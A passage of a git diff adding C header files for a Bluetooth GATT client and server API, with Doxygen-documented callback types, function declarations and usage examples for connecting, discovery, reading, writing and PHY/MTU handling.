calling + * bt_gattc_connect that gattc connection has been established. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param addr - remote device address. + * @return void. + * + * **Example:** + * @code +static void connect_callback(void* conn_handle, bt_address_t* addr) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + memcpy(&device->remote_address, addr, sizeof(bt_address_t)); + device->conn_state = CONNECTION_STATE_CONNECTED; + PRINT_ADDR("gattc_connect_callback, addr:%s", addr); +} + * @endcode + */ +typedef void (*gattc_connected_cb_t)(gattc_handle_t conn_handle, bt_address_t* addr); + +/** + * @brief callback for disconnected as GATT client. + * + * This callback is triggered when gattc disconnected. BT Service use this callback to notify the application that + * the gattc connection is destroyed. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param addr - remote device address. + * @return void. + * + * **Example:** + * @code +static void disconnect_callback(void* conn_handle, bt_address_t* addr) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + device->conn_state = CONNECTION_STATE_DISCONNECTED; + PRINT_ADDR("gattc_disconnect_callback, addr:%s", addr); +} + * @endcode + */ +typedef void (*gattc_disconnected_cb_t)(gattc_handle_t conn_handle, bt_address_t* addr); + +/** + * @brief callback for GATT client execute Services discover operation. + * + * This callback is triggered when application initiating service discovery procedure to peer GATT server. + * BT Service use this callback to report the result of attributes. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param uuid - uuid of the attribute. uuid == NULL or uuid->type == 0 means discovery procedure completed. + * @param start_handle - start handle of Primary services(Secondary services). + * @param end_handle - end handle of Primary services(Secondary services). + * @return void. + * + * **Example:** + * @code +static void discover_callback(void* conn_handle, gatt_status_t status, bt_uuid_t* uuid, uint16_t start_handle, uint16_t end_handle) +{ + PRINT("gattc_discover_callback result, attr_handle: 0x%04x - 0x%04x", start_handle, end_handle); +} + * @endcode + */ +typedef void (*gattc_discover_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, bt_uuid_t* uuid, uint16_t start_handle, uint16_t end_handle); + +/** + * @brief callback for GATT client excute Exchange MTU operation. + * + * This callback is triggered when application initiating Exchange MTU procedure to peer GATT server. + * BT Service use this callback to Report the results of MTU negotiation. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param mtu - negotiated MTU. + * @return void. + * + * **Example:** + * @code +static void mtu_updated_callback(void* conn_handle, gatt_status_t status, uint32_t mtu) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + if (status == GATT_STATUS_SUCCESS) { + device->gatt_mtu = mtu; + } + PRINT("gattc_mtu_updated_callback, status:%d, mtu:%" PRIu32, status, mtu); +} + * @endcode + */ +typedef void (*gattc_mtu_updated_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, uint32_t mtu); + +/** + * @brief callback for GATT client excute attribute read operation. + * + * This callback is triggered when application initiating read procedure to peer GATT server. + * BT Service use this callback to Report the attribute value of corresponding attribute. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param attr_handle - attribute handle. + * @param value - attribute value. + * @param length - attribute value length. + * @return void. + * + * **Example:** + * @code +static void read_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + PRINT("gattc connection read complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); +} + * @endcode + */ +typedef void (*gattc_read_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief callback for GATT client excute attribute read operation. + * + * This callback is triggered when application initiating write procedure to peer GATT server. + * BT Service use this callback to Report the status of write procedure to corresponding attribute. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param attr_handle - attribute handle. + * @return void. + * + * **Example:** + * @code +static void write_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle) +{ + if (status != GATT_STATUS_SUCCESS) { + PRINT("gattc connection write failed, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + return; + } + + if (throughtput_cursor) { + throughtput_cursor--; + } else { + PRINT("gattc connection write complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + } +} + * @endcode + */ +typedef void (*gattc_write_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, uint16_t attr_handle); + +/** + * @brief callback for GATT client excute enable/disable cccd operation. + * + * This callback is triggered when application initiating enable/disable to corresponding cccd. + * BT Service use this callback to Report the value of corresponding cccd. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param attr_handle - attribute handle. + * @param enable - enable/disable flag. + * @return void. + * + * **Example:** + * @code +static void subscribe_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle, bool enable) +{ + PRINT("gattc connection subscribe complete, handle 0x%" PRIx16 ", status:%d, enable:%d", attr_handle, status, enable); +} + * @endcode + */ +typedef void (*gattc_subscribe_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, uint16_t attr_handle, bool enable); + +/** + * @brief callback for GATT client recv notification/indication from peer GATT server. + * + * This callback is triggered when Peer GATT Server initiating notify/indicate procedure. BT Service use this callback + * to Report the notify/indicate value received. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param attr_handle - attribute handle. + * @param value - notify/indicate value. + * @param length - notify/indicate value length. + * @return void. + * + * **Example:** + * @code +static void notify_received_callback(void* conn_handle, uint16_t attr_handle, + uint8_t* value, uint16_t length) +{ + PRINT("gattc connection receive notify, handle 0x%" PRIx16, attr_handle); +} + * @endcode + */ +typedef void (*gattc_notify_cb_t)(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief callback for GATT client execute read PHY. + * + * This callback is triggered when application initiating read PHY procedure. BT Service use this callback to Report + * the Tx PHY & Rx PHY. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param tx_phy - current Tx PHY. + * @param rx_phy - current Rx PHY. + * @return void. + * + * **Example:** + * @code +static void phy_read_callback(void* conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT("gattc read phy complete, tx:%d, rx:%d", tx_phy, rx_phy); +} + * @endcode + */ +typedef void (*gattc_phy_read_cb_t)(gattc_handle_t conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); + +/** + * @brief callback for GATT client execute update PHY operation. + * + * This callback is triggered when application initiating update PHY procedure. BT Service use this callback to Report + * the result of update Tx PHY & Rx PHY. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param tx_phy - Tx PHY after update. If update operation failed, keep original value. + * @param rx_phy - Rx PHY after update. If update operation failed, keep original value. + * @return void. + * + * **Example:** + * @code +static void phy_updated_callback(void* conn_handle, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT("gattc_phy_updated_callback, status:%d, tx:%d, rx:%d", status, tx_phy, rx_phy); +} + * @endcode + */ +typedef void (*gattc_phy_updated_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); + +/** + * @brief callback for GATT client execute read RSSI of remote device. + * + * This callback is triggered when application initiating read remote RSSI procedure. BT Service use this callback to + * Report the RSSI of remote device. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param RSSI - value of remote RSSI. + * @return void. + * + * **Example:** + * @code +static void rssi_read_callback(void* conn_handle, gatt_status_t status, int32_t rssi) +{ + PRINT("gattc read rssi complete, status:%d, rssi:%" PRIi32, status, rssi); +} + * @endcode + */ +typedef void (*gattc_rssi_read_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, int32_t rssi); + +/** + * @brief callback for GATT client execute connnection parameter update operation. + * + * This callback is triggered when application initiating connnection parameter update procedure. BT Service use this + * callback to Report the connection parameter. + * + * @param conn_handle - gattc connection handle(void*). The Caller use gattc_connection_t as real parameter. + * @param status - bt_status_t - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param connection_interval - connection interval(n * 1.25ms). + * @param peripheral_latency - peripheral latency. + * @param supervision_timeout - supervision timeout(n * 10ms). + * @return void. + * + * **Example:** + * @code +static void conn_param_updated_callback(void* conn_handle, bt_status_t status, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout) +{ + PRINT("gattc connection paramter updated, status:%d, interval:%" PRIu16 ", latency:%" PRIu16 ", timeout:%" PRIu16, + status, connection_interval, peripheral_latency, supervision_timeout); +} + * @endcode + */ +typedef void (*gattc_connection_parameter_updated_cb_t)(gattc_handle_t conn_handle, bt_status_t status, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout); + +/** + * @cond + */ +typedef struct { + uint32_t size; + gattc_connected_cb_t on_connected; + gattc_disconnected_cb_t on_disconnected; + gattc_discover_cb_t on_discovered; + gattc_read_cb_t on_read; + gattc_write_cb_t on_written; + gattc_subscribe_cb_t on_subscribed; + gattc_notify_cb_t on_notified; + gattc_mtu_updated_cb_t on_mtu_updated; + gattc_phy_read_cb_t on_phy_read; + gattc_phy_updated_cb_t on_phy_updated; + gattc_rssi_read_cb_t on_rssi_read; + gattc_connection_parameter_updated_cb_t on_conn_param_updated; +} gattc_callbacks_t; + +/** + * @endcond + */ + +/** + * @brief create a gatt client. + * + * This function is used to create a gatt client. + * + * @param ins - Bluetooth client instance. + * @param phandle - pointer of gattc connection handle(void*). + * @param callbacks - gattc callback table. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_create_connect(handle, &g_gattc_devies[conn_id].handle, &gattc_cbs) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_create_connect)(bt_instance_t* ins, gattc_handle_t* phandle, gattc_callbacks_t* callbacks); + +/** + * @brief delete a gatt client. + * + * This function is used to delete a gatt client. + * + * @param conn_handle - gattc connection handle(void*). + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_delete_connect(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_delete_connect)(gattc_handle_t conn_handle); + +/** + * @brief create a ATT bearer with peer device. + * + * This function is used to establish a ATT bearer. + * + * @param conn_handle - gattc connection handle(void*). + * @param addr - peer bluetooth device address. + * @param addr_type - peer address type(ble_addr_type_t). + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_connect(g_gattc_devies[conn_id].handle, &addr, BT_LE_ADDR_TYPE_UNKNOWN) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_connect)(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type); + +/** + * @brief dicconnect ATT bearer. + * + * This function is used to initiate a disconnection. + * + * @param conn_handle - gattc connection handle(void*). + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_disconnect(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_disconnect)(gattc_handle_t conn_handle); + +/** + * @brief discover all GATT services or service with specific UUIDs on peer GATT Server. + * + * This function is used to discover GATT services. If filter_uuid is NULL, all services will be discovered. + * + * @param conn_handle - gattc connection handle(void*). + * @param filter_uuid - UUID of service to be discovered. filter_uuid is NULL for discover all service of peer device + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_discover_service(g_gattc_devies[conn_id].handle, NULL) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_discover_service)(gattc_handle_t conn_handle, bt_uuid_t* filter_uuid); + +/** + * @brief get attribute by specific Attribute handle. + * + * This function is used to get attribute by specific Attribute handle, which is stored after Discover Services procedure. + * + * @param conn_handle - gattc connection handle(void*). + * @param attr_handle - attribute handle being found. + * @param attr_desc - attribute structure(Type, handle, UUID, property). The desired result is stored in this pointer. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_get_attribute_by_handle(conn_handle, attr_handle, &attr_desc) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_get_attribute_by_handle)(gattc_handle_t conn_handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc); + +/** + * @brief get attribute by specific UUID. + * + * This function is used to get attribute by specific handle, which is stored after Discover Services procedure. + * + * @param conn_handle - gattc connection handle(void*). + * @param start_handle - start of the Attribute handle range being found. + * @param end_handle - end of the Attribute handle range being found. + * @param attr_uuid - attribute UUID being found. + * @param attr_desc - attribute structure(Type, handle, UUID, property). The desired result is stored in this pointer. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_get_attribute_by_handle(conn_handle, start_handle, end_handle, &attr_desc.uuid, &attr_desc) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_get_attribute_by_uuid)(gattc_handle_t conn_handle, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc); + +/** + * @brief read attribute value by specific handle.(If This Attribute's permissions is readable) + * + * This function is used to read a attribute value by specific handle. This function will initiate a ATT Read Request procedure. + * + * @param conn_handle - gattc connection handle(void*). + * @param attr_handle - attribute handle being read. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_read(g_gattc_devies[conn_id].handle, attr_handle) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_read)(gattc_handle_t conn_handle, uint16_t attr_handle); + +/** + * @brief write data to a specific attribute. (If This Attribute's permissions is Writable) + * + * This function is used to write data to a specific attribute. This function will initiate a ATT write Request procedure. + * + * @param conn_handle - gattc connection handle(void*). + * @param attr_handle - attribute handle being written. + * @param value - data to be written. + * @param length - the length of value. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_write_without_response(g_gattc_devies[conn_id].handle, attr_handle, value, len) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_write)(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief write data to a specific attribute. (If Write Without Response flag of This Attribute's property is set to 1) + * + * This function is used to write data to a specific attribute. This function will initiate a ATT write command procedure. + * + * @param conn_handle - gattc connection handle(void*). + * @param attr_handle - attribute handle being written. + * @param value - data to be written. + * @param length - the length of value. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_write_without_response(g_gattc_devies[conn_id].handle, attr_handle, value, len) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_write_without_response)(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief Write data to a specific attribute (Signed Write Without Response). + * + * This function writes data to a specific attribute handle using the + * ATT "Signed Write Command" procedure. It should be used when the + * attribute's properties include the `GATT_PROPERTY_SIGNED_WRITE` flag. + * + * Unlike a normal Write Without Response, this procedure includes a + * signature to provide authentication of the write operation. + * + * @param conn_handle GATT client connection handle (void*). + * @param attr_handle Attribute handle being written. + * @param value Pointer to the buffer containing the data to write. + * @param length Length of the data buffer. + * + * @return bt_status_t + * - BT_STATUS_SUCCESS on success, + * - Other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_write_with_signed(g_gattc_devices[conn_id].handle, + attr_handle, value, len) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_write_with_signed)(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief enable a centain CCCD(Client Characteristic Configuration Description). + * + * This function is used to enable CCCD. Once enabled, it can receive Indication and Notification + * from the Server successfully. + * + * @param conn_handle - gattc connection handle(void*). + * @param attr_handle - attribute handle of the characteristic you want to enable CCCD. + * @param ccc_value - bit 0 is used to enable Notification, bit 1 is used to enable Indication. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_subscribe(g_gattc_devies[conn_id].handle, attr_handle, ccc_value) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_subscribe)(gattc_handle_t conn_handle, uint16_t attr_handle, uint16_t ccc_value); + +/** + * @brief disable a centain CCCD(Client Characteristic Configuration Description). + * + * This function is used to disable CCCD. Once disable, it cannot receive Indication and Notification + * from the Server. + * + * @param conn_handle - gattc connection handle(void*). + * @param attr_handle - attribute handle of the characteristic you want to disable CCCD. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_unsubscribe(g_gattc_devies[conn_id].handle, attr_handle) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_unsubscribe)(gattc_handle_t conn_handle, uint16_t attr_handle); + +/** + * @brief exchange ATT_MTU. + * + * This function is used to initiate an ATT_MTU negotiation, which will initiate a Exchcange MTU procedure. + * In Bluetooth Core Spec, this procedure can be initiated once per connection. If it is initiated more than + * once, BT_STATUS_FAIL will be returned. + * + * @param conn_handle - gattc connection handle(void*). + * @param mtu - MTU size. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_exchange_mtu(g_gattc_devies[conn_id].handle, mtu) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_exchange_mtu)(gattc_handle_t conn_handle, uint32_t mtu); + +/** + * @brief Modify BLE connection parameters. + * + * This function is used to modify BLE connection parameters. + * Note: The following conditions must be met: + * min_interval <= max_interval. + * min_connection_event_length <= max_connection_event_length. + * timeout > (1 + latency) * max_interval * 2 + * + * @param conn_handle - gattc connection handle(void*). + * @param min_interval - min connection interval(n * 1.25ms). + * @param max_interval - max connection interval(n * 1.25ms). + * @param latency - peripheral latency. + * @param timeout - supervision timeout(n * 10ms). + * @param min_connection_event_length - min connection event length(n * 0.625ms). + * @param max_connection_event_length - max connection event length(n * 0.625ms). + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_update_connection_parameter(g_gattc_devies[conn_id].handle, min_interval, max_interval, latency, + timeout, min_connection_event_length, max_connection_event_length) + != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_update_connection_parameter)(gattc_handle_t conn_handle, uint32_t min_interval, uint32_t max_interval, + uint32_t latency, uint32_t timeout, uint32_t min_connection_event_length, + uint32_t max_connection_event_length); + +/** + * @brief read Tx & Rx PHY. + * + * This function is used to read PHY.(1M, 2M, Coded) + * + * @param conn_handle - gattc connection handle(void*). + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_read_phy(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_read_phy)(gattc_handle_t conn_handle); + +/** + * @brief update PHY. + * + * This function is used to update PHY type(1M, 2M, Coded). + * + * @param conn_handle - gattc connection handle(void*). + * @param tx_phy - Tx PHY type wants to update. + * @param rx_phy - Rx PHY type wants to update. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_update_phy(g_gattc_devies[conn_id].handle, tx, rx) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_update_phy)(gattc_handle_t conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); + +/** + * @brief read RSSI. + * + * This function is used to read RSSI value. + * + * @param conn_handle - gattc connection handle(void*). + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gattc_read_rssi(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) { + // Handle Error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gattc_read_rssi)(gattc_handle_t conn_handle); + +// async +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC +#include "bt_async.h" +typedef void (*bt_gattc_create_connect_cb_t)(bt_instance_t* ins, bt_status_t status, gattc_handle_t* phandle, void* userdata); +typedef void (*bt_gattc_delete_connect_cb_t)(bt_instance_t* ins, bt_status_t status, void* userdata); +typedef void (*bt_gattc_get_attribute_cb_t)(bt_instance_t* ins, bt_status_t status, gatt_attr_desc_t* attr_desc, void* userdata); +typedef void (*bt_gattc_write_cb_t)(bt_instance_t* ins, bt_status_t status, void* userdata); + +bt_status_t bt_gattc_create_connect_async(bt_instance_t* ins, gattc_handle_t* phandle, gattc_callbacks_t* callbacks, + bt_gattc_create_connect_cb_t cb, void* userdata); +bt_status_t bt_gattc_delete_connect_async(gattc_handle_t conn_handle, bt_status_cb_t bt_gattc_delete_connect_cb_t, void* userdata); +bt_status_t bt_gattc_connect_async(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_disconnect_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_discover_service_async(gattc_handle_t conn_handle, bt_uuid_t* filter_uuid, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_get_attribute_by_handle_async(gattc_handle_t conn_handle, uint16_t attr_handle, bt_gattc_get_attribute_cb_t cb, void* userdata); +bt_status_t bt_gattc_get_attribute_by_uuid_async(gattc_handle_t conn_handle, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid, + bt_gattc_get_attribute_cb_t cb, void* userdata); +bt_status_t bt_gattc_read_async(gattc_handle_t conn_handle, uint16_t attr_handle, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_write_async(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_write_without_response_async(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length, + bt_gattc_write_cb_t cb, void* userdata); +bt_status_t bt_gattc_subscribe_async(gattc_handle_t conn_handle, uint16_t attr_handle, uint16_t ccc_value, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_unsubscribe_async(gattc_handle_t conn_handle, uint16_t attr_handle, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_exchange_mtu_async(gattc_handle_t conn_handle, uint32_t mtu, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_update_connection_parameter_async(gattc_handle_t conn_handle, uint32_t min_interval, uint32_t max_interval, + uint32_t latency, uint32_t timeout, uint32_t min_connection_event_length, + uint32_t max_connection_event_length, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_read_phy_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_update_phy_async(gattc_handle_t conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy, bt_status_cb_t cb, void* userdata); +bt_status_t bt_gattc_read_rssi_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata); +#endif // CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_GATTC_H__ */ diff --git a/framework/include/bt_gatts.h b/framework/include/bt_gatts.h new file mode 100644 index 0000000000000000000000000000000000000000..9668a3c6e6cf545b0e95741b295c2760f35d4a35 --- /dev/null +++ b/framework/include/bt_gatts.h @@ -0,0 +1,576 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTS_H__ +#define __BT_GATTS_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_gatt_defs.h" +#include "bt_status.h" +#include "bt_uuid.h" +#include <stddef.h> + +/** + * @cond + */ + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +typedef void* gatts_handle_t; + +/** + * @endcond + */ + +/** + * @brief callback for GATT server recveived read request. + * + * This callback is triggered when peer GATT client initiate read request to characteristic with property + * contains the read flag bit. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. Address of the peer device that initiated the read request. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @param req_handle - request handle. Identifies the order in which the read request was made. + * @return uint16_t. + * + * **Example:** + * @code +uint16_t rx_char_on_read(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint32_t req_handle) +{ + bt_status_t ret = bt_gatts_response(srv_handle, addr, req_handle, read_char_value, sizeof(read_char_value)); + PRINT("gatts service RX char response. status: %d", ret); + return 0; +} + * @endcode + */ +typedef uint16_t (*attribute_read_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint32_t req_handle); + +/** + * @brief callback for GATT server recveived write request. + * + * This callback is triggered when peer GATT client initiate write request to characteristic with property + * contains the write flag bit. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. Address of the peer device that initiated the read request. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @param value - attribute value. + * @param length - value length. + * @param offset - value offset. + * @return uint16_t. value length. + * + * **Example:** + * @code +uint16_t rx_char_on_write(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, const uint8_t* value, uint16_t length, uint16_t offset) +{ + PRINT_ADDR("gatts service RX char received write request, addr:%s", addr); + return length; +} + * @endcode + */ +typedef uint16_t (*attribute_written_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, + const uint8_t* value, uint16_t length, uint16_t offset); + +/** + * @cond + */ + +typedef struct { + uint16_t handle; + bt_uuid_t uuid; + gatt_attr_type_t type; + uint32_t properties; + uint32_t permissions; + gatt_attr_rsp_t rsp_type; + attribute_read_cb_t read_cb; + attribute_written_cb_t write_cb; + uint32_t attr_length; + uint8_t* attr_value; + +} gatt_attr_db_t; + +typedef struct { + int32_t attr_num; + gatt_attr_db_t* attr_db; +} gatt_srv_db_t; + +/** + * @endcond + */ + +/** + * @brief callback for connected as GATT server. + * + * This callback is triggered when gatts connected. BT Service use this callback to notify the application calling + * bt_gatts_connect that gatts connection has been established. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @return void. + * + * **Example:** + * @code +static void connect_callback(void* srv_handle, bt_address_t* addr) +{ + PRINT_ADDR("gatts_connect_callback, addr:%s", addr); + add_gatts_device(addr); +} + * @endcode + */ +typedef void (*gatts_connected_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr); + +/** + * @brief callback for disconnected as GATT server. + * + * This callback is triggered when gatts disconnected. BT Service use this callback to notify the application that + * the gatts connection is destroyed. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @return void. + * + * **Example:** + * @code +static void disconnect_callback(void* srv_handle, bt_address_t* addr) +{ + gatts_device_t* device = find_gatts_device(addr); + remove_gatts_device(device); + PRINT_ADDR("gatts_disconnect_callback, addr:%s", addr); +} + * @endcode + */ +typedef void (*gatts_disconnected_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr); + +/** + * @brief callback for Addition of GATT service. + * + * This callback is triggered when GATT server add a GATT service. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param status - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @return void. + * + * **Example:** + * @code +static void attr_table_added_callback(void* srv_handle, gatt_status_t status, uint16_t attr_handle) +{ + PRINT("gatts add attribute table complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); +} + * @endcode + */ +typedef void (*gatts_attr_table_added_cb_t)(gatts_handle_t srv_handle, 